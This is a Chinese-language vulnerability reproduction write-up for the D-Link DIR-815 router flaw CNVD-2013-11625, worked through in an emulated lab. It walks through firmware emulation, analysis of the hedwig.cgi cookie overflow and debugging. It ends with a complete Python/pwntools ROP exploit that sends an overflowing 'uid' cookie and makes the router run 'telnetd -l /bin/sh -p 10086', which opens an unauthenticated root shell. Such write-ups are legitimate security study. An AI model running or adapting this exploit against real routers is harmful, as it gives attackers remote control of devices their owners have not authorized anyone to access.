D-Link-CNVD-2013-11625

This language version is unavailable; showing the other language.

漏洞概述

漏洞复现

仿真模拟

检测是否可用FirmAE仿真

❯ ./run.sh -c D-link vulnhub/cnvd-2013-11625/DIR-815A1_FW101SSB03.bin
[*] vulnhub/cnvd-2013-11625/DIR-815A1_FW101SSB03.bin emulation start!!!
[*] extract done!!!
[*] get architecture done!!!
mke2fs 1.46.5 (30-Dec-2021)
/bash-static: warning: setlocale: LC_ALL: cannot change locale (en_US.UTF-8)
e2fsck 1.46.5 (30-Dec-2021)
[*] infer network start!!!

[IID] 1
[MODE] check
[+] Network reachable on 192.168.0.1!
[+] Web service on 192.168.0.1
[*] cleanup
======================================

使用FirmAE开启Debug模式

 ./run.sh -d D-link vulnhub/cnvd-2013-11625/DIR-815A1_FW101SSB03.bin
[*] vulnhub/cnvd-2013-11625/DIR-815A1_FW101SSB03.bin emulation start!!!
[*] extract done!!!
[*] get architecture done!!!
[*] vulnhub/cnvd-2013-11625/DIR-815A1_FW101SSB03.bin already succeed emulation!!!

[IID] 1
[MODE] debug
[+] Network reachable on 192.168.0.1!
[+] Web service on 192.168.0.1
[+] Run debug!
Creating TAP device tap1_0...
Set 'tap1_0' persistent and owned by uid 1000
Bringing up TAP device...
Starting emulation of firmware... 192.168.0.1 true true 14.319128546 33.992168765
[*] firmware - DIR-815A1_FW101SSB03
[*] IP - 192.168.0.1
[*] connecting to netcat (192.168.0.1:31337)
[+] netcat connected
------------------------------
|       FirmAE Debugger      |
------------------------------
1. connect to socat
2. connect to shell
3. tcpdump
4. run gdbserver
5. file transfer
6. exit
> 

仿真成功

image-20240424193433235

漏洞分析

binwalk解压

❯ binwalk -Mer DIR-815A1_FW101SSB03.bin --run-as=root

定位漏洞文件

❯ find . -name hedwig.cgi
./htdocs/web/hedwig.cgi
# 于仿真环境中寻找
/htdocs/web # ls -l | grep hedwig.cgi
lrwxrwxrwx    1 root     0              14 Apr 24  2024 hedwig.cgi -> /htdocs/cgibin

hedwig.cgi 是 /htdocs/cgibin 的符号链接,所以分析cgibin即可。

❯ checksec cgibin
[*] 'cnvd-2013-11625/_DIR-815A1_FW101SSB03.bin.extracted/squashfs-root/htdocs/cgibin'
    Arch:     mips-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX unknown - GNU_STACK missing
    PIE:      No PIE (0x400000)
    Stack:    Executable
    RWX:      Has RWX segments

漏洞分析

可以使用 bindiff 来查找修复版本和此版本的差异,从而定位漏洞点。

// main()
  if ( !strcmp(v3, "hedwig.cgi") )
  {
    v8 = (void (__noreturn *)())&hedwigcgi_main;
    v9 = argc;
    return ((int (__fastcall *)(_DWORD, _DWORD, _DWORD))v8)(v9, argv, envp);
  }
// hedwigcgi_main()
  v0 = getenv("REQUEST_METHOD");
  if ( !v0 )
  {
    v1 = "no REQUEST";
LABEL_7:
    v3 = 0;
    v4 = 0;
LABEL_34:
    v9 = -1;
    goto LABEL_25;
  }
  if ( strcasecmp(v0, "POST") ) // 需要发送 POST 请求
  {
    v1 = "unsupported HTTP request";
    goto LABEL_7;
  }
  cgibin_parse_request(sub_409A6C, 0, 0x20000);
  [...]
  sess_get_uid(v4);
// cgibin_parse_request() 函数获取了几个环境变量
 if ( getenv("CONTENT_TYPE") && (v6 = getenv("CONTENT_LENGTH")) != 0 )
    v7 = atoi(v6);
  else
    v7 = 0;
  v21 = sobj_new();
  v8 = sobj_new();
  v22 = v8;
  v9 = -1;
  if ( v21 && v8 )
  {
    v10 = getenv("REQUEST_URI");
  [...]
  sobj_del(v22);
  if ( v9 != -1 )
  {
    if ( a3 >= v7 )
    {
      if ( v7 )
      {
        getenv("CONTENT_TYPE");
        v14 = getenv("CONTENT_TYPE");
   [...]
// sess_get_uid(v4)
     v3 = getenv("HTTP_COOKIE"); // 获取环境变量
     [...]
     else
      {
        v6 = 2;
        if ( v7 != '=' ) // 对HTTP_COOKIE中=的前后进行了分离:
        {
          sobj_add_char(v2, v7); // 可以看见,=前面的内容被存入了v2
          v6 = 1;
        }
      }
      goto LABEL_18;
    }
    if ( v6 == 2 )
    {
      if ( v7 == ';' )
      {
        v6 = 3;
        goto LABEL_18;
      }
      sobj_add_char(v4, *v5++); // 后面的内容被存入了v4
    }
    else
    {
      v6 = 0;
      if ( !sobj_strcmp(v2, "uid") ) // 最后会对v2中的内容进行一个判断:
        goto LABEL_21;
LABEL_18:
      ++v5;
    }
  }
  if ( !sobj_strcmp(v2, "uid") )
  {
LABEL_21:
    string = (char *)sobj_get_string(v4);
    goto LABEL_22;
  }
LABEL_27:
  string = getenv("REMOTE_ADDR");
LABEL_22:
  // 判断等号前的内容是否为uid,判断通过了以后,就会将等号后面的字符串拼接入a1,也就是主函数传进来的参数v4。
  result = sobj_add_string(a1, string); 
  if ( v2 )
    result = sobj_del(v2);
  if ( v4 )
    return sobj_del(v4);
  return result;
  // hedwigcgi_main()
  string = (const char *)sobj_get_string(v4);
  /* string保存了v4中的字符串,也就是cookie中uid=之后的内容,是可以由用户自由控制的,然而v27数组的大小仅有1024 */
  sprintf(v27, "%s/%s/postxml", "/runtime/session", string);
  xmldbc_del(0, 0, v27);
  v7 = fopen("/var/tmp/temp.xml", "w");
  if ( !v7 ) // 仿真中存在 /var/tmp 目录,可以绕过
  {
    v1 = "unable to open temp file.";
    goto LABEL_34;
  }
  if ( !haystack )
  {
    v1 = "no xml data."; // 环境变量REQUEST_URI中有内容即可
    goto LABEL_34;
  }
  [...]
  xmldbc_read(0, 2, "/var/tmp/temp.xml");
  v19 = fileno(v7);
  lockf(v19, 0, 0);
  fclose(v7);
  remove("/var/tmp/temp.xml");
  v20 = (const char *)sobj_get_string(v4);
  /* 这里的string仍然是v4,发现v4在两个sprintf之间未被改变过,如果能走到这第二个sprintf的话,
  *  那么这里才是真正的溢出漏洞点,因为仍然是v27数组的溢出,两次拼接的字符串又一样,所以这里能覆盖上一次sprintf的内容。
  */
  sprintf(v27, "/htdocs/webinc/fatlady.php\nprefix=%s/%s", "/runtime/session", v20);

动态调试

查询httpd进程号

/ # ps | grep httpd
 2306 root      1560 S    httpd -f /var/run/httpd.conf 
15635 root       656 S    grep httpd 

启动 gdbserver

FirAE 选择 run gdbserver,输入httpd 进程号。

[+] target pid : 2306
[+] gdbserver at 192.168.0.1:1337 attach on 2306
[+] run "target remote 192.168.0.1:1337" in host gdb-multiarch
set architecture mips
# 这个选项用来设置当发生fork或者vfork的时候,GDB将继续调试父进程或者子进程
set follow-fork-mode child
# 这个选项用来控制当fork或者vfork发生的时候,是否detach掉父进程或者子进程
set detach-on-fork off
target remote 192.168.0.1:1337
b _start
c

image-20240424212113025

确定溢出偏移

使用 cyclic 确定偏移。

from pwn import *
import http.client
# 创建HTTP连接
conn = http.client.HTTPConnection("192.168.0.1")
# 设置请求头
headers = {
'Content-Length': '21',
'accept-Encoding': 'deflate',
'Connection': 'close',
'User-Agent': 'MozillIay4.0 (compatible MSIE 8.07 Winaows NT 6.17 WOW647 Triaent/4.07 SLCC27 -NET CDR 2.0.50727) -NET CLR 3.5.307297 .NET CILR 3.90.307297 Meaia CenteLr PC 6.07 .NET4.0C7 -NET4.0E)',
'Host': '192.168.0.1',
'Cookie': 'uid='+cyclic(0x500),
'Content-Type': 'application/x-www-form-urlencoded'
}
# 发送POST请求
conn.request("POST", "/hedwig.cgi", body="password=123&bid=3Rd4", headers=headers)
# 获取响应
response = conn.getresponse()
# 打印响应状态码和响应内容
print(response.status, response.read().decode())
# 关闭连接
conn.close()

image-20240424220442429

确定libc_base

记得关闭地址随机化,因为真机也不存在随机化。

image-20240425145903905

编写EXP

编写shellcode

宿主机存在 telnetd,可使用telnetd -l /bin/sh -p 10086开启通信通道,-l指定通信程序,-p指定通信端口。我们的任务就变成了通过栈溢出调用 system("telnetd -l /bin/sh -p 10086");

MIPS架构存在“流水线效应”,简单来说,就是本应该顺序执行的几条命令却同时执行了,其还存在缓存不一致性(cache incoherency)的问题。

首先举例说说 “流水线效应” ,最常见的就是跳转指令(如jalr)导致的分支延迟效应,任何一个分支跳转语句后面的那条语句叫做分支延迟槽,当它跳转指令填充好跳转地址,还没来得及跳转过去的时候,跳转指令的下一条指令(分支延迟槽)就已经执行了,可以认为是它会先执行跳转指令的后一条指令,然后再跳转。

再来说说 “缓存不一致性” 的问题,指的是:指令缓存区(Instruction Cache)和数据缓存区(Data Cache)两者的同步需要一个时间来同步,常见的就是,比如我们将shellcode写入栈上,此时这块区域还属于数据缓存区,如果我们此时像x86_64架构一样,直接跳转过去执行,就会出现问题,因此,我们需要调用sleep函数,先停顿一段时间,给它时间从数据缓存区转成指令缓存区,然后再跳转过去,才能成功执行。当然,有时候可能直接跳转过去也不会出错,这原因就比较多了,可能是由于两个缓冲区已经有足够时间同步,也有可能是和硬件层面有关的一些原因所导致的,但是保险来说,还是最好sleep一下。

.text:0000AE90                 .globl execve
.text:00053200  # int __fastcall system(int)

而system函数地址末尾为\x00会被sprintf截断,使用execve函数需要控制其第二个和第三个参数为0。

接下来可以使用ropper寻找控制$a0的指令和jr/jalr指令。

0x000159cc : addiu $s5, $sp, 0x10 ; move $a1, $s3 ; move $a2, $s1 ; move $t9, $s0 ; jalr $t9 ; move $a0, $s5

利用这段 gadget,控制 $sp+0x10 == argv1_addr,$s0 == system_addr即可。但由于 system 函数末一字节为\x00,所以需要修改其地址保存在临时寄存器,然后找其他gadget对其进行修正。

0x000158c8 : move $t9, $s5 ; jalr $t9 ; addiu $s0, $s0, 1

这段gadget jalr $t9跳转的下一条指令是$s0 += 1。

接下来可以构造shellcode了,在$s0传入system-1的地址,s5传入了0x000159cc的gadget。溢出之后,首先执行0x158c8这段gadget,跳转到0x159cc这段gadget的同时$s0++,变为system的地址。接着执行0x159cc,将"argv1_addr"传入$s5,$s0此时为system_addr,jalr $t9时也执行mov $a0, $s5,成功执行system("telnetd -l /bin/sh -p 55557")。

exp

import http.client
from pwn import *
context.arch='mips'
context.bytes='32'
context.binary='./cgibin'
context.endian='little'

# 创建HTTP连接
conn = http.client.HTTPConnection("192.168.0.1")
#libc基地址
libc_base = 0x77f34000
#gadget
gadget_1 = libc_base + 0x159cc
gadget_2 = libc_base + 0x158c8
system_addr_sub_1 = libc_base + 0x531ff
# s0,s5,sp+0x10的偏移可以用cyclici计算
payload = cyclic(0x3cd) + p32(system_addr_sub_1) + p32(gadget_1)*8 + p32(gadget_2)*5  + b"telnetd -l /bin/sh -p 10086"

headers = {
'Content-Length': '21',
'accept-Encoding': 'deflate',
'Connection': 'close',
'User-Agent': 'MozillIay4.0 (compatible MSIE 8.07 Winaows NT 6.17 WOW647 Triaent/4.07 SLCC27 -NET CDR 2.0.50727) -NET CLR 3.5.307297 .NET CILR 3.90.307297 Meaia CenteLr PC 6.07 .NET4.0C7 -NET4.0E)',
'Host': '192.168.0.1',
'Cookie': b'uid='+payload,
'Content-Type': 'application/x-www-form-urlencoded'
}

conn.request("POST", "/hedwig.cgi", body="password=123&uid=3Rd4", headers=headers)

response = conn.getresponse()

print(response.status, response.read().decode())

conn.close()

运行结果

image-20240425171824614